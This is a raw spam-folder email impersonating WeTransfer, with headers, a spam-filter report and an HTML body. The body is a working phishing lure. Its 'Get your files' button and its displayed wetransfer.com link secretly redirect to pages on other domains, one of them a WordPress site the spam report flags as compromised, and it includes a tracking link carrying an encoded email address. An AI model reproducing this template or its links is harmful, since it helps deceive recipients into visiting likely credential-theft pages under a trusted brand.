File: /home/govancoz/mail/.spam/new/1754651244.M701681P2133479.zacp120.webway.host,S=18070,W=18364
Return-Path: <everhonestwetran@wetrzan.online>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
by zacp120.webway.host with LMTP
id mLCpJmzalWjnjSAA8rC0kQ
(envelope-from <everhonestwetran@wetrzan.online>)
for <govancoz+spam@zacp120.webway.host>; Fri, 08 Aug 2025 13:07:24 +0200
Return-path: <everhonestwetran@wetrzan.online>
Envelope-to: recep@govan.co.za
Delivery-date: Fri, 08 Aug 2025 13:07:24 +0200
Received: from wetrzan.online ([45.143.166.152]:41211)
by zacp120.webway.host with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2)
(envelope-from <everhonestwetran@wetrzan.online>)
id 1ukKwR-000000098H1-3JPd
for recep@govan.co.za;
Fri, 08 Aug 2025 13:07:24 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
d=wetrzan.online; s=dkim; h=Content-Type:MIME-Version:Message-ID:Date:Subject
:To:From:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:
Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
List-Subscribe:List-Post:List-Owner:List-Archive;
bh=t8FjRWhplXhjFhjjOtGC9GPX5i7eHoLvg3AvjvKpPrk=; b=EZqV7iklpnrefOy6LmhK2ZEaYD
9q5oVQE/JD8MkS3W/pvAu99ehou3iZW5nHE66okfKJPpmwXuVkrP4+JwpDFe8QoU9KPZ6+JF/Yox1
xCNp0E3+Vi6KRFUFR042lyCi0KxurJjeKOZBkM3wfJ7Whr16ibO5V9Xvuo2EymWOIdss=;
Received: from [161.248.178.216]
by wetrzan.online with esmtpa (Exim 4.95)
(envelope-from <everhonestwetran@wetrzan.online>)
id 1uk7D8-000pcv-C6
for recep@govan.co.za;
Thu, 07 Aug 2025 20:27:39 +0000
From: ''We Transfer'' <everhonestwetran@wetrzan.online>
To: recep@govan.co.za
Date: 8 Aug 2025 03:27:37 +0700
Message-ID: <20250808032737.7F662F8333AC8293@wetrzan.online>
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0012_C3BAC836.2BB9D242"
X-SPF-Fail: YES
X-Spam-Status: Yes, score=8.8
X-Spam-Score: 88
X-Spam-Bar: ++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.webway.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: recep@govan.co.za Document shared via WeTransfer Get your
files Download Link https://wetransfer.com/downloads/ e6bb0ac1d0846e7c5b297e98002705a320241002040704/
477e948a81ad20ee949e2b81f516f1552024100 [...]
Content analysis details: (8.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: wetrzan.online]
[URI: wetransfer.com]
[URI: wl.co]
[URI: baypllotter.com]
[URI: klclick3.com]
[URI: surfacedesigners.us]
0.0 KAM_BODY_MARKETINGBL_PCCC Body contains URI associated with
mass-marketing (https://raptor.pccc.com/RBL)
[URI: klclick3.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.143.166.152 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.143.166.152 listed in sa-accredit.habeas.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.143.166.152 listed in bl.score.senderscore.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
1.0 KAM_MARKETINGBL_PCCC Message contains URI associated with
mass-marketing (https://raptor.pccc.com/RBL)
1.0 FROM_FMBLA_NEWDOM14 From domain was registered in last 7-14 days
1.0 DKIMWL_BL DKIMwl.org - Blocked sender
2.0 PDS_OTHER_BAD_TLD Untrustworthy TLDs
[URI: wetrzan.online (online)]
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to
background
0.1 HTTPS_HTTP_MISMATCH BODY: No description available.
0.8 KAM_INFOUSMEBIZ Prevalent use of
.info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
domains in spam/malware
0.0 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
0.5 FROM_SUSPICIOUS_NTLD From abused NTLD
0.0 KAM_SHORT Use of a URL Shortener for very short URL
2.5 URI_WP_HACKED_2 URI for compromised WordPress site, possible malware
X-Spam-Flag: YES
Subject: ***SPAM*** You have received files via WeTransfer recep@govan.co.za
------=_NextPart_000_0012_C3BAC836.2BB9D242
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;">
<table style=3D"margin: 0px; padding: 0px; width: 600px; color: rgb(36, 36,=
36); text-transform: none; line-height: inherit; letter-spacing: normal; f=
ont-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: norm=
al; font-weight: 400; word-spacing: 0px; white-space: normal; border-collap=
se: collapse; table-layout: fixed; border-spacing: 0px; orphans: 2; widows:=
2; font-stretch: inherit; font-feature-settings: inherit; background-color=
: rgb(244, 244, 244); font-variant-ligatures:=20
normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-dec=
oration-thickness: initial; text-decoration-style: initial; text-decoration=
-color: initial; font-variant-numeric: inherit; font-variant-east-asian: in=
herit; font-kerning: inherit;" border=3D"0" cellspacing=3D"0" cellpadding=
=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"margin: 0px; p=
adding: 55px 0px 0px; width: 600px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 600px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"backg=
round: no-repeat 50% 50% / cover; margin: 0px; padding: 0px; width: 600px; =
font-size: 10px;" bgcolor=3D"#5268ff"><center>
<table align=3D"center" style=3D"font: inherit; margin: 0px auto; padding: =
0px; width: auto; border-collapse: collapse; table-layout: fixed; border-sp=
acing: 0px; font-size-adjust: inherit; font-stretch: inherit;" border=3D"0"=
cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td height=3D"16" align=3D"=
left" valign=3D"top" style=3D"margin: 0px; padding: 0px; width: 56px; heigh=
t: 16px;">
<table align=3D"center" style=3D"font: inherit; margin: 0px auto; padding: =
0px; width: auto; border-collapse: collapse; table-layout: fixed; border-sp=
acing: 0px; font-size-adjust: inherit; font-stretch: inherit;" border=3D"0"=
cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td height=3D"11" align=3D"=
left" valign=3D"top" style=3D"margin: 0px; padding: 0px; width: 56px; heigh=
t: 11px;"></td></tr></tbody></table><strong>
<img width=3D"86" height=3D"30" style=3D"border-color: rgb(0, 0, 0); width:=
152px; height: 85px; margin-right: 0px;" alt=3D"image.png" src=3D"cid:imag=
es.png" jslog=3D"138226; u014N:xr6bB; 53:WzAsMF0." data-surl=3D"cid:ii_mban=
x7zl0"></strong></td></tr><tr><td align=3D"left" valign=3D"top" style=3D"ma=
rgin: 0px; padding: 0px; width: 56px;">
<a title=3D"https://ctrk.klclick3.com/l/01JV2CTHN5NPNS5FJRA84VG3VS_0#cmF5c3=
VzdGFsYUB6cmlkZXJzLmNvbQ=3D=3D" style=3D"border-width: 0px; border-color: c=
urrentColor; font: inherit; margin: 0px; padding: 0px; color: rgb(17, 85, 2=
04); vertical-align: baseline; font-size-adjust: inherit; font-stretch: inh=
erit;" href=3D"https://ctrk.klclick3.com/l/01JV2CTHN5NPNS5FJRA84VG3VS_0#cmF=
5c3VzdGFsYUB6cmlkZXJzLmNvbQ=3D=3D" target=3D"_blank" rel=3D"noopener norefe=
rrer"=20
data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://ctrk.klclick=
3.com/l/01JV2CTHN5NPNS5FJRA84VG3VS_0%23cmF5c3VzdGFsYUB6cmlkZXJzLmNvbQ%3D%3D=
&source=3Dgmail&ust=3D1754675807049000&usg=3DAOvVaw16YS5FjW7z5T=
TO0Rq74K1R"><br></a></td></tr><tr><td height=3D"11" align=3D"left" valign=
=3D"top" style=3D"margin: 0px; padding: 0px; width: 56px; height: 11px;"></=
td></tr></tbody></table></center></td></tr></tbody></table></td></tr></tbod=
y></table>
<table style=3D"margin: 0px; padding: 0px; width: 600px; color: rgb(36, 36,=
36); text-transform: none; line-height: inherit; letter-spacing: normal; f=
ont-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: norm=
al; font-weight: 400; word-spacing: 0px; white-space: normal; border-collap=
se: collapse; table-layout: fixed; border-spacing: 0px; orphans: 2; widows:=
2; font-stretch: inherit; font-feature-settings: inherit; font-variant-lig=
atures: normal; font-variant-caps: normal;=20
-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=
coration-style: initial; text-decoration-color: initial; font-variant-numer=
ic: inherit; font-variant-east-asian: inherit; font-kerning: inherit;" bgco=
lor=3D"#ffffff" border=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr=
><td align=3D"left" valign=3D"top" style=3D"margin: 0px; padding: 0px; widt=
h: 600px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 600px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"margi=
n: 0px; padding: 0px; width: 600px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 600px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"center" valign=3D"top" style=3D"mar=
gin: 0px; padding: 60px 80px 0px; width: 440px; color: rgb(23, 24, 26); lin=
e-height: 30px; font-size: 26px;">
<span style=3D"border-width: 0px; border-color: currentColor; font: inherit=
; margin: 0px; padding: 0px; color: rgb(82, 104, 255); vertical-align: base=
line; font-size-adjust: inherit; font-stretch: inherit;">recep@govan.co.za<=
/span><br><span style=3D"border-width: 0px; border-color: currentColor; fon=
t: inherit; margin: 0px; padding: 0px; color: inherit; vertical-align: base=
line; display: inline-flex; font-size-adjust: inherit; font-stretch: inheri=
t;">Document shared via WeTransfer</span></td></tr><tr>
<td align=3D"left" valign=3D"top" style=3D'margin: 0px; padding: 50px 80px =
0px; width: 440px; color: rgb(121, 124, 127); line-height: 24px; font-famil=
y: "Fakt Pro", "Segoe UI", "SanFrancisco Display", Arial, sans-serif; font-=
size: 14px;'></td></tr><tr><td align=3D"left" valign=3D"top" style=3D"margi=
n: 0px; padding: 40px 160px; width: 280px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 280px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"margi=
n: 0px; padding: 0px; width: 280px;">
<a title=3D"https://texastexas.com/index/indxx.html?dntvvggyvqz" style=3D"b=
order-width: 0px; border-color: currentColor; margin: 0px; padding: 15px 20=
px; border-radius: 25px; text-align: center; color: rgb(255, 255, 255); lin=
e-height: inherit; font-family: inherit; font-size: 14px; font-style: inher=
it; font-variant: inherit; font-weight: inherit; vertical-align: baseline; =
display: block; font-stretch: inherit; font-feature-settings: inherit; back=
ground-color: rgb(82, 104,=20
255); font-kerning: inherit; text-decoration-line: none;" href=3D"https://l=
=2Ewl.co/l?u=3Dhttps://surfacedesigners.us/wp-includes/images/Wetr/index.ht=
ml" target=3D"_blank" rel=3D"noopener noreferrer" data-saferedirecturl=3D"h=
ttps://www.google.com/url?q=3Dhttps://l.wl.co/l?u%3Dhttp://baypllotter.com/=
Drive/wetr.html&source=3Dgmail&ust=3D1754675807049000&usg=3DAOv=
Vaw07XIdxxH6sZrD-5pILDIZl">Get your files</a></td></tr></tbody></table></td=
></tr><tr>
<td align=3D"left" valign=3D"top" style=3D"margin: 0px; padding: 40px 80px =
0px; width: 440px;"><table style=3D"font: inherit; margin: 0px; padding: 0p=
x; width: 440px; border-collapse: collapse; table-layout: fixed; border-spa=
cing: 0px; font-size-adjust: inherit; font-stretch: inherit;" border=3D"0" =
cellspacing=3D"0" cellpadding=3D"0"><tbody><tr>
<td align=3D"left" valign=3D"top" style=3D"margin: 0px; padding: 0px; width=
: 440px; line-height: 0; font-size: 1px; border-bottom-color: rgb(244, 244,=
244); border-bottom-width: 2px; border-bottom-style: solid;"> </td></=
tr></tbody></table></td></tr><tr><td align=3D"left" valign=3D"top" style=3D=
'margin: 0px; padding: 50px 80px 0px; width: 440px; color: rgb(121, 124, 12=
7); line-height: 24px; font-family: "Fakt Pro", "Segoe UI", "SanFrancisco D=
isplay", Arial, sans-serif; font-size: 14px;'>
<span style=3D"border-width: 0px; border-color: currentColor; margin: 0px; =
padding: 0px; color: rgb(23, 24, 26); line-height: inherit; font-family: in=
herit; font-size: 18px; font-style: inherit; font-variant: inherit; font-we=
ight: inherit; vertical-align: baseline; font-stretch: inherit; font-featur=
e-settings: inherit; font-kerning: inherit;">Download Link</span><br>
<a title=3D"https://texastexas.com/index/indxx.html?nviivwnltktc" style=3D"=
border-width: 0px; border-color: currentColor; font: inherit; margin: 0px; =
padding: 0px; color: rgb(23, 24, 26); vertical-align: baseline; font-size-a=
djust: inherit; font-stretch: inherit;" href=3D"https://l.wl.co/l?u=3Dhttps=
://surfacedesigners.us/wp-includes/images/Wetr/index.html" target=3D"_blank=
" rel=3D"noopener noreferrer"=20
data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://l.wl.co/l?u%=
3Dhttp://baypllotter.com/Drive/wetr.html&source=3Dgmail&ust=3D17546=
75807049000&usg=3DAOvVaw07XIdxxH6sZrD-5pILDIZl"><span style=3D"border-w=
idth: 0px; border-color: currentColor; font: inherit; margin: 0px; padding:=
0px; color: rgb(82, 104, 255); vertical-align: baseline; font-size-adjust:=
inherit; font-stretch: inherit;">https://wetransfer.com/<wbr>downloads/ e6=
bb0ac1d0846e7c5b297e98002705<wbr>a320241002040704/<wbr>
477e948a81ad20ee949e2b81f516f1<wbr>5520241002040806/f657c1</span></a></td><=
/tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table>
</body></html>
------=_NextPart_000_0012_C3BAC836.2BB9D242
Content-Type: image/png; name="images.png"
Content-Transfer-Encoding: base64
Content-ID: <images.png>
Content-Disposition: inline; filename="images.png"
iVBORw0KGgoAAAANSUhEUgAAAKUAAACUCAMAAADF0xngAAAAb1BMVEX///9SaP9OZf9KYv9H
YP9AWv9FXv9CXP/W2v/L0P9qfP/9/f/19v/4+f/w8v86Vv/l6P/P1P/HzP9Ybf9wgf92hv+1
vf+CkP9+jP/q7P++xf9idf+Pm/+psv+VoP/g4/+irP+Hlf+bpv80Uf+vuP9oVULVAAAEJElE
QVR4nO2ZaReiIBSGEwRxSVNzSTTb/v9vHDUrFzIEZ86Zc+7zMQRf5K602wEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA8F/i+aeasTC07ajDtsOQ1fXJ91zJFfZ+w/4vyTux4lJmeXJ0eBwbBkLY
bMEIGTHnjpPkWXlJ2WlxEZaWzQoNSXZO60317ev0yq2AUBM3mhqMKd2vCGOTkoDwrGKeaJtR
Rgh9rtA+TQMzC/2tRNYZJuZc2VcQJjQJp6scKk7M6aMmcR7b6GTxbPHfYBSNV3nE4o0i6kTi
967COyqIbN4eH4Y7dcj3J+9nkX2sg1kqIg2DpJ81IoSXHqWZtszq+1dYxLy+l0jxD6umR12V
pdKBNwfJXys8rJ+uR26aKrPFw1pQGfcLhFLxgempvGqqPHAZkeZVLxmVVFElXzXf0ktEN0WV
OOmmM0nnI5WWylTRx+nTIbikwWA9Nw8VVZJHN1vWqt/OpkatGImCLpOfpX3P0lLpxysKjQG4
dQc5B++gWiq9RCkUId4WmqH0QSCkpdK9KR057nJzJV0EaHrPLlVT2bm4/DlYFz2VtopIA3cl
kSFtlkQzRZ7kPWBA3L7VvUtvKtdt1xIFlYi3jcJJXqV2wa6SI3HezqxlVVqlrshdGKxXaXVp
mUnONB3ZXv47e+lz+3Cvv6gU9RbW8fBLgwQK7hN0E+cnjvhtqhObpX53tlMxzKdZ7vyZymbA
TgbdPaI036LTbYhWl0XPgkgQidoU40cZugekIbgbZbjJh9wpRcw+Rs8rFfM54LOiYbv7l4b9
2t4HHfs7rXw2MVi+7dKhWpnK8fk1cVZtWHqdwxJsnUgDFf1EQanOt4g6QlxHbJiCO8InL3s7
zSea58VX6XARxSKEOBcWPX372CLoKARn7m3j5wdBqkNxc66hqEcM7PdEWzBMqrFrs9vRqTbx
dkEswp3xhfNgg7C3ONEwj8U7b7vR1aAYEc27jSePmbPS3r7SmTHQ86B2sEUFB7Jo8ijsKL05
lDy/drBFBqqnBohov3nXmR7qqFZ0c3EUw1abfOh7Vap769ayn1690VewmRU+yBkFbibXKQfp
/KXrKcYqcfmxo0kAMC+TmTJVADI2yUl+PF52cEXmj4Mimd6elRIy6WRrqozKt77m6Rl5yLyx
9q4/Kz/sbFR3HOhw0fFYNhgjs396dt7tx9dEaKu/0dyBFDRRUn88BDuCPOJeyJILYWO+M1U+
JQed5bjiHW5wIZq7Yw79phPRfMsC5NKfm5XPPpd7fo19yyFexYXfExH+0G8gh1KyACOEg0Rg
6ft+jH9PdH4aB+aoikLIDHi6Zb3eEZZ5frXFY6wd+5Hm6kvuxJi2mCaOj3n114pNPU7MLh4N
aWSzzb8iAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/gD8/tjfXs5EwEgAAAABJRU5ErkJggg==
------=_NextPart_000_0012_C3BAC836.2BB9D242--